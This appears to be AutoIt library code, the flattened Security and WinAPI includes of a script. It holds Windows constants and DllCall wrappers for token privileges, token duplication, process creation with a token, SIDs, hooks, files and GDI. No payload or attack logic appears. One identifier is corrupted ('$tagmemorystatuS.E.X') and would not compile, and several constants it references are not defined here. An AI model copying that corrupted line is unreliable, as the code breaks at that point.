Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
Global Const $se_create_token_name = "SeCreateTokenPrivilege"
Global Const $se_debug_name = "SeDebugPrivilege"
Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
Global Const $se_impersonate_name = "SeImpersonatePrivilege"
Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
Global Const $se_restore_name = "SeRestorePrivilege"
Global Const $se_security_name = "SeSecurityPrivilege"
Global Const $se_shutdown_name = "SeShutdownPrivilege"
Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
Global Const $se_systemtime_name = "SeSystemtimePrivilege"
Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
Global Const $se_tcb_name = "SeTcbPrivilege"
Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
Global Const $se_undock_name = "SeUndockPrivilege"
Global Const $se_privilege_enabled_by_default = 1
Global Const $se_privilege_enabled = 2
Global Const $se_privilege_removed = 4
Global Const $se_privilege_used_for_access = -2147483648
Global Const $se_group_mandatory = 1
Global Const $se_group_enabled_by_default = 2
Global Const $se_group_enabled = 4
Global Const $se_group_owner = 8
Global Const $se_group_use_for_deny_only = 16
Global Const $se_group_integrity = 32
Global Const $se_group_integrity_enabled = 64
Global Const $se_group_resource = 536870912
Global Const $se_group_logon_id = -1073741824
Global Enum $tokenprimary = 1, $tokenimpersonation
Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
Global Const $token_assign_primary = 1
Global Const $token_duplicate = 2
Global Const $token_impersonate = 4
Global Const $token_query = 8
Global Const $token_query_source = 16
Global Const $token_adjust_privileges = 32
Global Const $token_adjust_groups = 64
Global Const $token_adjust_default = 128
Global Const $token_adjust_sessionid = 256
Global Const $token_all_access = 983551
Global Const $token_read = 131080
Global Const $token_write = 131296
Global Const $token_execute = 131072
Global Const $token_has_traverse_privilege = 1
Global Const $token_has_backup_privilege = 2
Global Const $token_has_restore_privilege = 4
Global Const $token_has_admin_group = 8
Global Const $token_is_restricted = 16
Global Const $token_session_not_referenced = 32
Global Const $token_sandbox_inert = 64
Global Const $token_has_impersonate_privilege = 128
Global Const $rights_delete = 65536
Global Const $read_control = 131072
Global Const $write_dac = 262144
Global Const $write_owner = 524288
Global Const $synchronize = 1048576
Global Const $standard_rights_required = 983040
Global Const $standard_rights_read = $read_control
Global Const $standard_rights_write = $read_control
Global Const $standard_rights_execute = $read_control
Global Const $standard_rights_all = 2031616
Global Const $specific_rights_all = 65535
Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
Global Const $logon_with_profile = 1
Global Const $logon_netcredentials_only = 2
Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
Global Const $sid_administrators = "S-1-5-32-544"
Global Const $sid_users = "S-1-5-32-545"
Global Const $sid_guests = "S-1-5-32-546"
Global Const $sid_account_operators = "S-1-5-32-548"
Global Const $sid_server_operators = "S-1-5-32-549"
Global Const $sid_print_operators = "S-1-5-32-550"
Global Const $sid_backup_operators = "S-1-5-32-551"
Global Const $sid_replicator = "S-1-5-32-552"
Global Const $sid_owner = "S-1-3-0"
Global Const $sid_everyone = "S-1-1-0"
Global Const $sid_network = "S-1-5-2"
Global Const $sid_interactive = "S-1-5-4"
Global Const $sid_system = "S-1-5-18"
Global Const $sid_authenticated_users = "S-1-5-11"
Global Const $sid_schannel_authentication = "S-1-5-64-14"
Global Const $sid_digest_authentication = "S-1-5-64-21"
Global Const $sid_nt_service = "S-1-5-80"
Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
Global Const $sid_low_mandatory_level = "S-1-16-4096"
Global Const $sid_medium_mandatory_level = "S-1-16-8192"
Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
Global Const $sid_high_mandatory_level = "S-1-16-12288"
Global Const $sid_system_mandatory_level = "S-1-16-16384"
Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
Global Const $sid_all_services = "S-1-5-80-0"
Func _winapi_getlasterror($curerr = @error, $curext = @extended)
Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
Return SetError($curerr, $curext, $aresult[0])
EndFunc
Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
Return SetError($curerr, $curext)
EndFunc
Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
Return True
EndFunc
Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[6]
EndFunc
Func _security__getaccountsid($saccount, $ssystem = "")
Local $aacct = _security__lookupaccountname($saccount, $ssystem)
If @error Then Return SetError(@error, @extended, 0)
If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
Return ""
EndFunc
Func _security__getlengthsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
If @error Then Return SetError(2, @extended, 0)
Return $acall[0]
EndFunc
Func _security__gettokeninformation($htoken, $iclass)
Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
If @error OR NOT $acall[5] Then Return SetError(1, @extended, 0)
Local $ilen = $acall[5]
Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
$acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Return $tbuffer
EndFunc
Func _security__impersonateself($ilevel = $securityimpersonation)
Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__isvalidsid($psid)
Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__lookupaccountname($saccount, $ssystem = "")
Local $tdata = DllStructCreate("byte SID[256]")
Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Local $aacct[3]
$aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
$aacct[1] = $acall[5]
$aacct[2] = $acall[7]
Return $aacct
EndFunc
Func _security__lookupaccountsid($vsid, $ssystem = "")
Local $psid, $aacct[3]
If IsString($vsid) Then
$psid = _security__stringsidtosid($vsid)
Else
$psid = $vsid
EndIf
If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
Local $typesystem = "ptr"
If $ssystem Then $typesystem = "wstr"
Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $typesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Local $aacct[3]
$aacct[0] = $acall[3]
$aacct[1] = $acall[5]
$aacct[2] = $acall[7]
Return $aacct
EndFunc
Func _security__lookupprivilegevalue($ssystem, $sname)
Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[3]
EndFunc
Func _security__openprocesstoken($hprocess, $iaccess)
Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[3]
EndFunc
Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
If $hthread = 0 Then $hthread = _winapi_getcurrentthread()
If @error Then Return SetError(1, @extended, 0)
Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Return $acall[4]
EndFunc
Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
If $htoken = 0 Then
If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0)
If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0)
$htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0)
EndIf
Return $htoken
EndFunc
Func _security__setprivilege($htoken, $sprivilege, $fenable)
Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
If $iluid = 0 Then Return SetError(1, @extended, False)
Local $tcurrstate = DllStructCreate($tagtoken_privileges)
Local $icurrstate = DllStructGetSize($tcurrstate)
Local $tprevstate = DllStructCreate($tagtoken_privileges)
Local $iprevstate = DllStructGetSize($tprevstate)
Local $trequired = DllStructCreate("int Data")
DllStructSetData($tcurrstate, "Count", 1)
DllStructSetData($tcurrstate, "LUID", $iluid)
If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
DllStructSetData($tprevstate, "Count", 1)
DllStructSetData($tprevstate, "LUID", $iluid)
Local $iattributes = DllStructGetData($tprevstate, "Attributes")
If $fenable Then
$iattributes = BitOR($iattributes, $se_privilege_enabled)
Else
$iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
EndIf
DllStructSetData($tprevstate, "Attributes", $iattributes)
If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
Return True
EndFunc
Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
Return True
EndFunc
Func _security__sidtostringsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "")
Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, "")
Local $pstringsid = $acall[2]
Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text")
_winapi_localfree($pstringsid)
Return $ssid
EndFunc
Func _security__sidtypestr($itype)
Switch $itype
Case $sidtypeuser
Return "User"
Case $sidtypegroup
Return "Group"
Case $sidtypedomain
Return "Domain"
Case $sidtypealias
Return "Alias"
Case $sidtypewellknowngroup
Return "Well Known Group"
Case $sidtypedeletedaccount
Return "Deleted Account"
Case $sidtypeinvalid
Return "Invalid"
Case $sidtypeunknown
Return "Unknown Type"
Case $sidtypecomputer
Return "Computer"
Case $sidtypelabel
Return "A mandatory integrity label SID"
Case Else
Return "Unknown SID Type"
EndSwitch
EndFunc
Func _security__stringsidtosid($ssid)
Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Local $psid = $acall[2]
Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
_winapi_localfree($psid)
Return $tsid
EndFunc
Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Global $__gainprocess_winapi[64][2] = [[0, 0]]
Global $__gawinlist_winapi[64][2] = [[0, 0]]
Global Const $__winapiconstant_wm_setfont = 48
Global Const $__winapiconstant_fw_normal = 400
Global Const $__winapiconstant_default_charset = 1
Global Const $__winapiconstant_out_default_precis = 0
Global Const $__winapiconstant_clip_default_precis = 0
Global Const $__winapiconstant_default_quality = 0
Global Const $__winapiconstant_format_message_allocate_buffer = 256
Global Const $__winapiconstant_format_message_from_system = 4096
Global Const $__winapiconstant_logpixelsx = 88
Global Const $__winapiconstant_logpixelsy = 90
Global Const $hgdi_error = Ptr(-1)
Global Const $invalid_handle_value = Ptr(-1)
Global Const $clr_invalid = -1
Global Const $__winapiconstant_flashw_caption = 1
Global Const $__winapiconstant_flashw_tray = 2
Global Const $__winapiconstant_flashw_timer = 4
Global Const $__winapiconstant_flashw_timernofg = 12
Global Const $__winapiconstant_gw_hwndnext = 2
Global Const $__winapiconstant_gw_child = 5
Global Const $__winapiconstant_di_mask = 1
Global Const $__winapiconstant_di_image = 2
Global Const $__winapiconstant_di_normal = 3
Global Const $__winapiconstant_di_compat = 4
Global Const $__winapiconstant_di_defaultsize = 8
Global Const $__winapiconstant_di_nomirror = 16
Global Const $__winapiconstant_display_device_attached_to_desktop = 1
Global Const $__winapiconstant_display_device_primary_device = 4
Global Const $__winapiconstant_display_device_mirroring_driver = 8
Global Const $__winapiconstant_display_device_vga_compatible = 16
Global Const $__winapiconstant_display_device_removable = 32
Global Const $__winapiconstant_display_device_modespruned = 134217728
Global Const $null_brush = 5
Global Const $null_pen = 8
Global Const $black_brush = 4
Global Const $dkgray_brush = 3
Global Const $dc_brush = 18
Global Const $gray_brush = 2
Global Const $hollow_brush = $null_brush
Global Const $ltgray_brush = 1
Global Const $white_brush = 0
Global Const $black_pen = 7
Global Const $dc_pen = 19
Global Const $white_pen = 6
Global Const $ansi_fixed_font = 11
Global Const $ansi_var_font = 12
Global Const $device_default_font = 14
Global Const $default_gui_font = 17
Global Const $oem_fixed_font = 10
Global Const $system_font = 13
Global Const $system_fixed_font = 16
Global Const $default_palette = 15
Global Const $mb_precomposed = 1
Global Const $mb_composite = 2
Global Const $mb_useglyphchars = 4
Global Const $ulw_alpha = 2
Global Const $ulw_colorkey = 1
Global Const $ulw_opaque = 4
Global Const $wh_callwndproc = 4
Global Const $wh_callwndprocret = 12
Global Const $wh_cbt = 5
Global Const $wh_debug = 9
Global Const $wh_foregroundidle = 11
Global Const $wh_getmessage = 3
Global Const $wh_journalplayback = 1
Global Const $wh_journalrecord = 0
Global Const $wh_keyboard = 2
Global Const $wh_keyboard_ll = 13
Global Const $wh_mouse = 7
Global Const $wh_mouse_ll = 14
Global Const $wh_msgfilter = -1
Global Const $wh_shell = 10
Global Const $wh_sysmsgfilter = 6
Global Const $wpf_asyncwindowplacement = 4
Global Const $wpf_restoretomaximized = 2
Global Const $wpf_setminposition = 1
Global Const $kf_extended = 256
Global Const $kf_altdown = 8192
Global Const $kf_up = 32768
Global Const $llkhf_extended = BitShift($kf_extended, 8)
Global Const $llkhf_injected = 16
Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
Global Const $llkhf_up = BitShift($kf_up, 8)
Global Const $ofn_allowmultiselect = 512
Global Const $ofn_createprompt = 8192
Global Const $ofn_dontaddtorecent = 33554432
Global Const $ofn_enablehook = 32
Global Const $ofn_enableincludenotify = 4194304
Global Const $ofn_enablesizing = 8388608
Global Const $ofn_enabletemplate = 64
Global Const $ofn_enabletemplatehandle = 128
Global Const $ofn_explorer = 524288
Global Const $ofn_extensiondifferent = 1024
Global Const $ofn_filemustexist = 4096
Global Const $ofn_forceshowhidden = 268435456
Global Const $ofn_hidereadonly = 4
Global Const $ofn_longnames = 2097152
Global Const $ofn_nochangedir = 8
Global Const $ofn_nodereferencelinks = 1048576
Global Const $ofn_nolongnames = 262144
Global Const $ofn_nonetworkbutton = 131072
Global Const $ofn_noreadonlyreturn = 32768
Global Const $ofn_notestfilecreate = 65536
Global Const $ofn_novalidate = 256
Global Const $ofn_overwriteprompt = 2
Global Const $ofn_pathmustexist = 2048
Global Const $ofn_readonly = 1
Global Const $ofn_shareaware = 16384
Global Const $ofn_showhelp = 16
Global Const $ofn_ex_noplacesbar = 1
Global Const $tmpf_fixed_pitch = 1
Global Const $tmpf_vector = 2
Global Const $tmpf_truetype = 4
Global Const $tmpf_device = 8
Global Const $duplicate_close_source = 1
Global Const $duplicate_same_access = 2
Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
Global Const $tagmemorystatuS.E.X = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
Func _winapi_attachconsole($iprocessid = -1)
Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_beep($ifreq = 500, $iduration = 1000)
Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)
Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
Return SetError(@error, @extended, $tpoint)
EndFunc
Func _winapi_closehandle($hobject)
Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_commdlgextendederror()
Local Const $cderr_dialogfailure = 65535
Local Const $cderr_findresfailure = 6
Local Const $cderr_initialization = 2
Local Const $cderr_loadresfailure = 7
Local Const $cderr_loadstrfailure = 5
Local Const $cderr_lockresfailure = 8
Local Const $cderr_memallocfailure = 9
Local Const $cderr_memlockfailure = 10
Local Const $cderr_nohinstance = 4
Local Const $cderr_nohook = 11
Local Const $cderr_notemplate = 3
Local Const $cderr_registermsgfail = 12
Local Const $cderr_structsize = 1
Local Const $fnerr_buffertoosmall = 12291
Local Const $fnerr_invalidfilename = 12290
Local Const $fnerr_subclassfailure = 12289
Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
If @error Then Return SetError(@error, @extended, 0)
Switch $aresult[0]
Case $cderr_dialogfailure
Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
Case $cderr_findresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
Case $cderr_initialization
Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
Case $cderr_loadresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
Case $cderr_loadstrfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
Case $cderr_lockresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
Case $cderr_memallocfailure
Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
Case $cderr_memlockfailure
Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
Case $cderr_nohinstance
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
Case $cderr_nohook
Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
Case $cderr_notemplate
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
Case $cderr_registermsgfail
Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
Case $cderr_structsize
Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
Case $fnerr_buffertoosmall
Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
Case $fnerr_invalidfilename
Return SetError($aresult[0], 0, "A file name is invalid.")
Case $fnerr_subclassfailure
Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
EndSwitch
Return Hex($aresult[0])
EndFunc
Func _winapi_copyicon($hicon)
Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatibledc($hdc)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "")
Local $snametype = "wstr"
If $sname = "" Then
$sname = 0
$snametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
Switch $icreation
Case 0
$icd = $create_new
Case 1
$icd = $create_always
Case 2
$icd = $open_existing
Case 3
$icd = $open_always
Case 4
$icd = $truncate_existing
EndSwitch
If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial")
